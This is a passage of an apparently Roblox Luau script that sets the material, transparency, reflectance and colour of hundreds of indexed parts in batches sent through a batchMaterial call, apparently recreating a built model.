Enum.Material.SmoothPlastic} end if P[41] then materialBatch[#materialBatch+1] = {Part = P[41], Material = Enum.Material.Plastic} end if P[42] then materialBatch[#materialBatch+1] = {Part = P[42], Material = Enum.Material.SmoothPlastic} end if P[43] then materialBatch[#materialBatch+1] = {Part = P[43], Material = Enum.Material.SmoothPlastic} end if P[44] then materialBatch[#materialBatch+1] = {Part = P[44], Material = Enum.Material.SmoothPlastic} end if P[45] then materialBatch[#materialBatch+1] = {Part = P[45], Material = Enum.Material.SmoothPlastic} end if P[46] then materialBatch[#materialBatch+1] = {Part = P[46], Material = Enum.Material.SmoothPlastic} end if P[151] then materialBatch[#materialBatch+1] = {Part = P[151], Material = Enum.Material.Plastic} end if P[673] then materialBatch[#materialBatch+1] = {Part = P[673], Material = Enum.Material.Plastic} end if P[685] then materialBatch[#materialBatch+1] = {Part = P[685], Material = Enum.Material.SmoothPlastic} end if P[706] then materialBatch[#materialBatch+1] = {Part = P[706], Material = Enum.Material.SmoothPlastic} end if P[561] then materialBatch[#materialBatch+1] = {Part = P[561], Material = Enum.Material.SmoothPlastic} end if P[667] then materialBatch[#materialBatch+1] = {Part = P[667], Material = Enum.Material.Plastic} end if P[675] then materialBatch[#materialBatch+1] = {Part = P[675], Material = Enum.Material.Plastic} end if P[736] then materialBatch[#materialBatch+1] = {Part = P[736], Material = Enum.Material.Wood} end if P[519] then materialBatch[#materialBatch+1] = {Part = P[519], Material = Enum.Material.SmoothPlastic} end if P[700] then materialBatch[#materialBatch+1] = {Part = P[700], Material = Enum.Material.SmoothPlastic} end if P[510] then materialBatch[#materialBatch+1] = {Part = P[510], Material = Enum.Material.SmoothPlastic} end if P[587] then materialBatch[#materialBatch+1] = {Part = P[587], Material = Enum.Material.Plastic} end if P[464] then materialBatch[#materialBatch+1] = {Part = P[464], Material = Enum.Material.Wood} end if P[611] then materialBatch[#materialBatch+1] = {Part = P[611], Material = Enum.Material.Plastic} end if P[571] then materialBatch[#materialBatch+1] = {Part = P[571], Material = Enum.Material.Plastic} end if P[635] then materialBatch[#materialBatch+1] = {Part = P[635], Material = Enum.Material.Plastic} end if P[166] then materialBatch[#materialBatch+1] = {Part = P[166], Material = Enum.Material.Plastic} end if P[435] then materialBatch[#materialBatch+1] = {Part = P[435], Material = Enum.Material.SmoothPlastic} end if P[555] then materialBatch[#materialBatch+1] = {Part = P[555], Material = Enum.Material.SmoothPlastic} end if P[175] then materialBatch[#materialBatch+1] = {Part = P[175], Material = Enum.Material.Plastic} end if P[663] then materialBatch[#materialBatch+1] = {Part = P[663], Material = Enum.Material.Plastic} end if P[579] then materialBatch[#materialBatch+1] = {Part = P[579], Material = Enum.Material.Plastic} end if P[657] then materialBatch[#materialBatch+1] = {Part = P[657], Material = Enum.Material.Plastic} end if P[470] then materialBatch[#materialBatch+1] = {Part = P[470], Material = Enum.Material.SmoothPlastic} end if P[767] then materialBatch[#materialBatch+1] = {Part = P[767], Material = Enum.Material.Wood} end if P[491] then materialBatch[#materialBatch+1] = {Part = P[491], Material = Enum.Material.SmoothPlastic} end if P[607] then materialBatch[#materialBatch+1] = {Part = P[607], Material = Enum.Material.Plastic} end if P[631] then materialBatch[#materialBatch+1] = {Part = P[631], Material = Enum.Material.Plastic} end if P[770] then materialBatch[#materialBatch+1] = {Part = P[770], Material = Enum.Material.Wood} end if P[473] then materialBatch[#materialBatch+1] = {Part = P[473], Material = Enum.Material.SmoothPlastic} end if P[694] then materialBatch[#materialBatch+1] = {Part = P[694], Material = Enum.Material.SmoothPlastic} end if P[615] then materialBatch[#materialBatch+1] = {Part = P[615], Material = Enum.Material.Plastic} end if P[428] then materialBatch[#materialBatch+1] = {Part = P[428], Material = Enum.Material.Plastic} end if P[575] then materialBatch[#materialBatch+1] = {Part = P[575], Material = Enum.Material.Plastic} end if P[627] then materialBatch[#materialBatch+1] = {Part = P[627], Material = Enum.Material.Plastic} end if P[501] then materialBatch[#materialBatch+1] = {Part = P[501], Material = Enum.Material.SmoothPlastic} end if P[479] then materialBatch[#materialBatch+1] = {Part = P[479], Material = Enum.Material.SmoothPlastic} end if P[676] then materialBatch[#materialBatch+1] = {Part = P[676], Material = Enum.Material.Plastic} end if P[595] then materialBatch[#materialBatch+1] = {Part = P[595], Material = Enum.Material.Plastic} end if P[656] then materialBatch[#materialBatch+1] = {Part = P[656], Material = Enum.Material.Plastic} end if P[648] then materialBatch[#materialBatch+1] = {Part = P[648], Material = Enum.Material.Plastic} end if P[78] then materialBatch[#materialBatch+1] = {Part = P[78], Material = Enum.Material.Plastic} end if P[461] then materialBatch[#materialBatch+1] = {Part = P[461], Material = Enum.Material.SmoothPlastic} end if P[669] then materialBatch[#materialBatch+1] = {Part = P[669], Material = Enum.Material.Plastic} end if P[82] then materialBatch[#materialBatch+1] = {Part = P[82], Material = Enum.Material.Plastic} end if P[72] then materialBatch[#materialBatch+1] = {Part = P[72], Material = Enum.Material.Plastic} end if P[540] then materialBatch[#materialBatch+1] = {Part = P[540], Material = Enum.Material.Wood} end if P[703] then materialBatch[#materialBatch+1] = {Part = P[703], Material = Enum.Material.SmoothPlastic} end if P[619] then materialBatch[#materialBatch+1] = {Part = P[619], Material = Enum.Material.Plastic} end if P[751] then materialBatch[#materialBatch+1] = {Part = P[751], Material = Enum.Material.Wood} end if P[522] then materialBatch[#materialBatch+1] = {Part = P[522], Material = Enum.Material.SmoothPlastic} end if P[204] then materialBatch[#materialBatch+1] = {Part = P[204], Material = Enum.Material.Plastic} end if P[114] then materialBatch[#materialBatch+1] = {Part = P[114], Material = Enum.Material.Plastic} end if P[525] then materialBatch[#materialBatch+1] = {Part = P[525], Material = Enum.Material.SmoothPlastic} end if P[270] then materialBatch[#materialBatch+1] = {Part = P[270], Material = Enum.Material.Plastic} end if P[664] then materialBatch[#materialBatch+1] = {Part = P[664], Material = Enum.Material.Plastic} end if P[745] then materialBatch[#materialBatch+1] = {Part = P[745], Material = Enum.Material.Wood} end if P[670] then materialBatch[#materialBatch+1] = {Part = P[670], Material = Enum.Material.Plastic} end if P[732] then materialBatch[#materialBatch+1] = {Part = P[732], Material = Enum.Material.Wood} end if P[271] then materialBatch[#materialBatch+1] = {Part = P[271], Material = Enum.Material.Plastic} end if P[532] then materialBatch[#materialBatch+1] = {Part = P[532], Material = Enum.Material.Plastic} end if P[671] then materialBatch[#materialBatch+1] = {Part = P[671], Material = Enum.Material.Plastic} end if P[268] then materialBatch[#materialBatch+1] = {Part = P[268], Material = Enum.Material.Neon} end if P[558] then materialBatch[#materialBatch+1] = {Part = P[558], Material = Enum.Material.SmoothPlastic} end if P[567] then materialBatch[#materialBatch+1] = {Part = P[567], Material = Enum.Material.SmoothPlastic} end if P[697] then materialBatch[#materialBatch+1] = {Part = P[697], Material = Enum.Material.SmoothPlastic} end if P[691] then materialBatch[#materialBatch+1] = {Part = P[691], Material = Enum.Material.SmoothPlastic} end if P[720] then materialBatch[#materialBatch+1] = {Part = P[720], Material = Enum.Material.Wood} end if P[476] then materialBatch[#materialBatch+1] = {Part = P[476], Material = Enum.Material.SmoothPlastic} end if P[653] then materialBatch[#materialBatch+1] = {Part = P[653], Material = Enum.Material.Plastic} end if P[528] then materialBatch[#materialBatch+1] = {Part = P[528], Material = Enum.Material.SmoothPlastic} end if P[677] then materialBatch[#materialBatch+1] = {Part = P[677], Material = Enum.Material.Plastic} end if P[650] then materialBatch[#materialBatch+1] = {Part = P[650], Material = Enum.Material.Plastic} end if P[661] then materialBatch[#materialBatch+1] = {Part = P[661], Material = Enum.Material.Plastic} end if P[599] then materialBatch[#materialBatch+1] = {Part = P[599], Material = Enum.Material.Plastic} end if P[498] then materialBatch[#materialBatch+1] = {Part = P[498], Material = Enum.Material.SmoothPlastic} end if P[186] then materialBatch[#materialBatch+1] = {Part = P[186], Material = Enum.Material.Plastic} end if P[504] then materialBatch[#materialBatch+1] = {Part = P[504], Material = Enum.Material.SmoothPlastic} end if P[646] then materialBatch[#materialBatch+1] = {Part = P[646], Material = Enum.Material.Plastic} end if P[132] then materialBatch[#materialBatch+1] = {Part = P[132], Material = Enum.Material.Plastic} end if P[623] then materialBatch[#materialBatch+1] = {Part = P[623], Material = Enum.Material.Plastic} end if P[488] then materialBatch[#materialBatch+1] = {Part = P[488], Material = Enum.Material.SmoothPlastic} end if P[157] then materialBatch[#materialBatch+1] = {Part = P[157], Material = Enum.Material.Plastic} end if P[507] then materialBatch[#materialBatch+1] = {Part = P[507], Material = Enum.Material.SmoothPlastic} end if P[247] then materialBatch[#materialBatch+1] = {Part = P[247], Material = Enum.Material.Plastic} end if P[660] then materialBatch[#materialBatch+1] = {Part = P[660], Material = Enum.Material.Plastic} end if P[672] then materialBatch[#materialBatch+1] = {Part = P[672], Material = Enum.Material.Plastic} end if P[456] then materialBatch[#materialBatch+1] = {Part = P[456], Material = Enum.Material.SmoothPlastic} end if P[467] then materialBatch[#materialBatch+1] = {Part = P[467], Material = Enum.Material.SmoothPlastic} end if P[123] then materialBatch[#materialBatch+1] = {Part = P[123], Material = Enum.Material.Plastic} end if P[773] then materialBatch[#materialBatch+1] = {Part = P[773], Material = Enum.Material.Wood} end if P[652] then materialBatch[#materialBatch+1] = {Part = P[652], Material = Enum.Material.Plastic} end if P[655] then materialBatch[#materialBatch+1] = {Part = P[655], Material = Enum.Material.Plastic} end if P[688] then materialBatch[#materialBatch+1] = {Part = P[688], Material = Enum.Material.Wood} end if P[761] then materialBatch[#materialBatch+1] = {Part = P[761], Material = Enum.Material.Wood} end if P[755] then materialBatch[#materialBatch+1] = {Part = P[755], Material = Enum.Material.Wood} end if P[549] then materialBatch[#materialBatch+1] = {Part = P[549], Material = Enum.Material.SmoothPlastic} end if P[741] then materialBatch[#materialBatch+1] = {Part = P[741], Material = Enum.Material.Wood} end if P[494] then materialBatch[#materialBatch+1] = {Part = P[494], Material = Enum.Material.SmoothPlastic} end if P[433] then materialBatch[#materialBatch+1] = {Part = P[433], Material = Enum.Material.SmoothPlastic} end if P[238] then materialBatch[#materialBatch+1] = {Part = P[238], Material = Enum.Material.Plastic} end if P[537] then materialBatch[#materialBatch+1] = {Part = P[537], Material = Enum.Material.SmoothPlastic} end if P[729] then materialBatch[#materialBatch+1] = {Part = P[729], Material = Enum.Material.Wood} end if P[227] then materialBatch[#materialBatch+1] = {Part = P[227], Material = Enum.Material.Plastic} end if P[712] then materialBatch[#materialBatch+1] = {Part = P[712], Material = Enum.Material.SmoothPlastic} end if P[96] then materialBatch[#materialBatch+1] = {Part = P[96], Material = Enum.Material.Plastic} end if P[546] then materialBatch[#materialBatch+1] = {Part = P[546], Material = Enum.Material.SmoothPlastic} end if P[724] then materialBatch[#materialBatch+1] = {Part = P[724], Material = Enum.Material.Wood} end if P[482] then materialBatch[#materialBatch+1] = {Part = P[482], Material = Enum.Material.SmoothPlastic} end if P[603] then materialBatch[#materialBatch+1] = {Part = P[603], Material = Enum.Material.Plastic} end if P[639] then materialBatch[#materialBatch+1] = {Part = P[639], Material = Enum.Material.Plastic} end if P[716] then materialBatch[#materialBatch+1] = {Part = P[716], Material = Enum.Material.Wood} end if P[265] then materialBatch[#materialBatch+1] = {Part = P[265], Material = Enum.Material.Plastic} end if P[552] then materialBatch[#materialBatch+1] = {Part = P[552], Material = Enum.Material.SmoothPlastic} end if P[709] then materialBatch[#materialBatch+1] = {Part = P[709], Material = Enum.Material.SmoothPlastic} end if P[674] then materialBatch[#materialBatch+1] = {Part = P[674], Material = Enum.Material.Plastic} end if P[87] then materialBatch[#materialBatch+1] = {Part = P[87], Material = Enum.Material.Plastic} end if P[583] then materialBatch[#materialBatch+1] = {Part = P[583], Material = Enum.Material.Plastic} end if P[256] then materialBatch[#materialBatch+1] = {Part = P[256], Material = Enum.Material.Plastic} end if P[105] then materialBatch[#materialBatch+1] = {Part = P[105], Material = Enum.Material.Plastic} end if P[516] then materialBatch[#materialBatch+1] = {Part = P[516], Material = Enum.Material.SmoothPlastic} end if P[682] then materialBatch[#materialBatch+1] = {Part = P[682], Material = Enum.Material.SmoothPlastic} end if P[485] then materialBatch[#materialBatch+1] = {Part = P[485], Material = Enum.Material.SmoothPlastic} end if P[564] then materialBatch[#materialBatch+1] = {Part = P[564], Material = Enum.Material.SmoothPlastic} end if P[665] then materialBatch[#materialBatch+1] = {Part = P[665], Material = Enum.Material.Plastic} end if P[430] then materialBatch[#materialBatch+1] = {Part = P[430], Material = Enum.Material.SmoothPlastic} end if P[543] then materialBatch[#materialBatch+1] = {Part = P[543], Material = Enum.Material.SmoothPlastic} end if P[662] then materialBatch[#materialBatch+1] = {Part = P[662], Material = Enum.Material.Plastic} end if P[659] then materialBatch[#materialBatch+1] = {Part = P[659], Material = Enum.Material.Plastic} end if P[591] then materialBatch[#materialBatch+1] = {Part = P[591], Material = Enum.Material.Plastic} end if P[513] then materialBatch[#materialBatch+1] = {Part = P[513], Material = Enum.Material.Wood} end if P[454] then materialBatch[#materialBatch+1] = {Part = P[454], Material = Enum.Material.SmoothPlastic} end if P[458] then materialBatch[#materialBatch+1] = {Part = P[458], Material = Enum.Material.SmoothPlastic} end if P[451] then materialBatch[#materialBatch+1] = {Part = P[451], Material = Enum.Material.SmoothPlastic} end if P[644] then materialBatch[#materialBatch+1] = {Part = P[644], Material = Enum.Material.Plastic} end batchMaterial(endpoint, materialBatch) local transparencyBatch = {} if P[33] then transparencyBatch[#transparencyBatch+1] = {Part = P[33], Transparency = 1} end if P[41] then transparencyBatch[#transparencyBatch+1] = {Part = P[41], Transparency = 1} end if P[151] then transparencyBatch[#transparencyBatch+1] = {Part = P[151], Transparency = 1} end if P[673] then transparencyBatch[#transparencyBatch+1] = {Part = P[673], Transparency = 1} end if P[587] then transparencyBatch[#transparencyBatch+1] = {Part = P[587], Transparency = 0.30000001192092896} end if P[663] then transparencyBatch[#transparencyBatch+1] = {Part = P[663], Transparency = 1} end if P[670] then transparencyBatch[#transparencyBatch+1] = {Part = P[670], Transparency = 1} end if P[271] then transparencyBatch[#transparencyBatch+1] = {Part = P[271], Transparency = 1} end if P[671] then transparencyBatch[#transparencyBatch+1] = {Part = P[671], Transparency = 1} end if P[268] then transparencyBatch[#transparencyBatch+1] = {Part = P[268], Transparency = 0.20000000298023224} end if P[672] then transparencyBatch[#transparencyBatch+1] = {Part = P[672], Transparency = 1} end if P[674] then transparencyBatch[#transparencyBatch+1] = {Part = P[674], Transparency = 1} end batchMaterial(endpoint, transparencyBatch) local reflectanceBatch = {} if P[435] then reflectanceBatch[#reflectanceBatch+1] = {Part = P[435], Reflectance = 0.11999999731779099} end if P[595] then reflectanceBatch[#reflectanceBatch+1] = {Part = P[595], Reflectance = 0.30000001192092896} end batchMaterial(endpoint, reflectanceBatch) local colorBatch = {} if P[8] then colorBatch[#colorBatch+1] = {Part = P[8], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end if P[9] then colorBatch[#colorBatch+1] = {Part = P[9], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end if P[10] then colorBatch[#colorBatch+1] = {Part = P[10], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end if P[11] then colorBatch[#colorBatch+1] = {Part = P[11], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end if P[12] then colorBatch[#colorBatch+1] = {Part = P[12], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end if P[14] then colorBatch[#colorBatch+1] = {Part = P[14], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end if P[15] then colorBatch[#colorBatch+1] = {Part = P[15], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end if P[16] then colorBatch[#colorBatch+1] = {Part = P[16], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end if P[17] then colorBatch[#colorBatch+1] = {Part = P[17], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end if P[18] then colorBatch[#colorBatch+1] = {Part = P[18], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end if P[21] then colorBatch[#colorBatch+1] = {Part = P[21], Color = Color3.new(1,1,1), UnionColoring = false} end if P[22] then colorBatch[#colorBatch+1] = {Part = P[22], Color = Color3.new(1,1,1), UnionColoring = false} end if P[23] then colorBatch[#colorBatch+1] = {Part = P[23], Color = Color3.new(1,1,1), UnionColoring = false} end if P[24] then colorBatch[#colorBatch+1] = {Part = P[24], Color = Color3.new(1,1,1), UnionColoring = false} end if P[25] then colorBatch[#colorBatch+1] = {Part = P[25], Color = Color3.new(1,1,1), UnionColoring = false} end if P[26] then colorBatch[#colorBatch+1] = {Part = P[26], Color = Color3.new(1,1,1), UnionColoring = false} end if P[27] then colorBatch[#colorBatch+1] = {Part = P[27], Color = Color3.new(1,1,1), UnionColoring = false} end if P[28] then colorBatch[#colorBatch+1] = {Part = P[28], Color = Color3.new(1,1,1), UnionColoring = false} end if P[29] then colorBatch[#colorBatch+1] = {Part = P[29], Color = Color3.new(1,1,1), UnionColoring = false} end if P[30] then colorBatch[#colorBatch+1] = {Part = P[30], Color = Color3.new(1,1,1), UnionColoring = false} end if P[31] then colorBatch[#colorBatch+1] = {Part = P[31], Color = Color3.new(1,1,1), UnionColoring = false} end if P[32] then colorBatch[#colorBatch+1] = {Part = P[32], Color = Color3.new(1,1,1), UnionColoring = false} end if P[33] then colorBatch[#colorBatch+1] = {Part = P[33], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[34] then colorBatch[#colorBatch+1] = {Part = P[34], Color = Color3.new(1,1,1), UnionColoring = false} end if P[35] then colorBatch[#colorBatch+1] = {Part = P[35], Color = Color3.new(1,1,1), UnionColoring = false} end if P[36] then colorBatch[#colorBatch+1] = {Part = P[36], Color = Color3.new(1,1,1), UnionColoring = false} end if P[37] then colorBatch[#colorBatch+1] = {Part = P[37], Color = Color3.new(1,1,1), UnionColoring = false} end if P[38] then colorBatch[#colorBatch+1] = {Part = P[38], Color = Color3.new(1,1,1), UnionColoring = false} end if P[39] then colorBatch[#colorBatch+1] = {Part = P[39], Color = Color3.new(1,1,1), UnionColoring = false} end if P[40] then colorBatch[#colorBatch+1] = {Part = P[40], Color = Color3.new(1,1,1), UnionColoring = false} end if P[41] then colorBatch[#colorBatch+1] = {Part = P[41], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[42] then colorBatch[#colorBatch+1] = {Part = P[42], Color = Color3.new(1,1,1), UnionColoring = false} end if P[43] then colorBatch[#colorBatch+1] = {Part = P[43], Color = Color3.new(1,1,1), UnionColoring = false} end if P[44] then colorBatch[#colorBatch+1] = {Part = P[44], Color = Color3.new(1,1,1), UnionColoring = false} end if P[45] then colorBatch[#colorBatch+1] = {Part = P[45], Color = Color3.new(1,1,1), UnionColoring = false} end if P[46] then colorBatch[#colorBatch+1] = {Part = P[46], Color = Color3.new(1,1,1), UnionColoring = false} end if P[151] then colorBatch[#colorBatch+1] = {Part = P[151], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[673] then colorBatch[#colorBatch+1] = {Part = P[673], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[685] then colorBatch[#colorBatch+1] = {Part = P[685], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[706] then colorBatch[#colorBatch+1] = {Part = P[706], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[561] then colorBatch[#colorBatch+1] = {Part = P[561], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[667] then colorBatch[#colorBatch+1] = {Part = P[667], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[675] then colorBatch[#colorBatch+1] = {Part = P[675], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[736] then colorBatch[#colorBatch+1] = {Part = P[736], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[519] then colorBatch[#colorBatch+1] = {Part = P[519], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[700] then colorBatch[#colorBatch+1] = {Part = P[700], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[510] then colorBatch[#colorBatch+1] = {Part = P[510], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[587] then colorBatch[#colorBatch+1] = {Part = P[587], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end if P[464] then colorBatch[#colorBatch+1] = {Part = P[464], Color = Color3.new(0.42352941632270813,0.3450980484485626,0.29411765933036804), UnionColoring = false} end if P[611] then colorBatch[#colorBatch+1] = {Part = P[611], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[571] then colorBatch[#colorBatch+1] = {Part = P[571], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[635] then colorBatch[#colorBatch+1] = {Part = P[635], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end if P[166] then colorBatch[#colorBatch+1] = {Part = P[166], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end if P[435] then colorBatch[#colorBatch+1] = {Part = P[435], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[555] then colorBatch[#colorBatch+1] = {Part = P[555], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[175] then colorBatch[#colorBatch+1] = {Part = P[175], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end if P[663] then colorBatch[#colorBatch+1] = {Part = P[663], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[579] then colorBatch[#colorBatch+1] = {Part = P[579], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end if P[657] then colorBatch[#colorBatch+1] = {Part = P[657], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[470] then colorBatch[#colorBatch+1] = {Part = P[470], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[767] then colorBatch[#colorBatch+1] = {Part = P[767], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[491] then colorBatch[#colorBatch+1] = {Part = P[491], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[607] then colorBatch[#colorBatch+1] = {Part = P[607], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end if P[631] then colorBatch[#colorBatch+1] = {Part = P[631], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end if P[770] then colorBatch[#colorBatch+1] = {Part = P[770], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[473] then colorBatch[#colorBatch+1] = {Part = P[473], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[694] then colorBatch[#colorBatch+1] = {Part = P[694], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[615] then colorBatch[#colorBatch+1] = {Part = P[615], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end if P[428] then colorBatch[#colorBatch+1] = {Part = P[428], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end if P[575] then colorBatch[#colorBatch+1] = {Part = P[575], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end if P[627] then colorBatch[#colorBatch+1] = {Part = P[627], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[501] then colorBatch[#colorBatch+1] = {Part = P[501], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[479] then colorBatch[#colorBatch+1] = {Part = P[479], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[676] then colorBatch[#colorBatch+1] = {Part = P[676], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end if P[595] then colorBatch[#colorBatch+1] = {Part = P[595], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end if P[656] then colorBatch[#colorBatch+1] = {Part = P[656], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end if P[648] then colorBatch[#colorBatch+1] = {Part = P[648], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[78] then colorBatch[#colorBatch+1] = {Part = P[78], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end if P[461] then colorBatch[#colorBatch+1] = {Part = P[461], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[669] then colorBatch[#colorBatch+1] = {Part = P[669], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end if P[82] then colorBatch[#colorBatch+1] = {Part = P[82], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[72] then colorBatch[#colorBatch+1] = {Part = P[72], Color = Color3.new(0.23529411852359772,0.2862745225429535,0.3450980484485626), UnionColoring = false} end if P[540] then colorBatch[#colorBatch+1] = {Part = P[540], Color = Color3.new(0.42352941632270813,0.3450980484485626,0.29411765933036804), UnionColoring = false} end if P[703] then colorBatch[#colorBatch+1] = {Part = P[703], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[619] then colorBatch[#colorBatch+1] = {Part = P[619], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[751] then colorBatch[#colorBatch+1] = {Part = P[751], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[522] then colorBatch[#colorBatch+1] = {Part = P[522], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[204] then colorBatch[#colorBatch+1] = {Part = P[204], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end if P[114] then colorBatch[#colorBatch+1] = {Part = P[114], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end if P[525] then colorBatch[#colorBatch+1] = {Part = P[525], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[270] then colorBatch[#colorBatch+1] = {Part = P[270], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end if P[664] then colorBatch[#colorBatch+1] = {Part = P[664], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[745] then colorBatch[#colorBatch+1] = {Part = P[745], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[670] then colorBatch[#colorBatch+1] = {Part = P[670], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[732] then colorBatch[#colorBatch+1] = {Part = P[732], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[271] then colorBatch[#colorBatch+1] = {Part = P[271], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end if P[532] then colorBatch[#colorBatch+1] = {Part = P[532], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[671] then colorBatch[#colorBatch+1] = {Part = P[671], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[268] then colorBatch[#colorBatch+1] = {Part = P[268], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end if P[558] then colorBatch[#colorBatch+1] = {Part = P[558], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[567] then colorBatch[#colorBatch+1] = {Part = P[567], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[697] then colorBatch[#colorBatch+1] = {Part = P[697], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[691] then colorBatch[#colorBatch+1] = {Part = P[691], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[720] then colorBatch[#colorBatch+1] = {Part = P[720], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[476] then colorBatch[#colorBatch+1] = {Part = P[476], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[653] then colorBatch[#colorBatch+1] = {Part = P[653], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[528] then colorBatch[#colorBatch+1] = {Part = P[528], 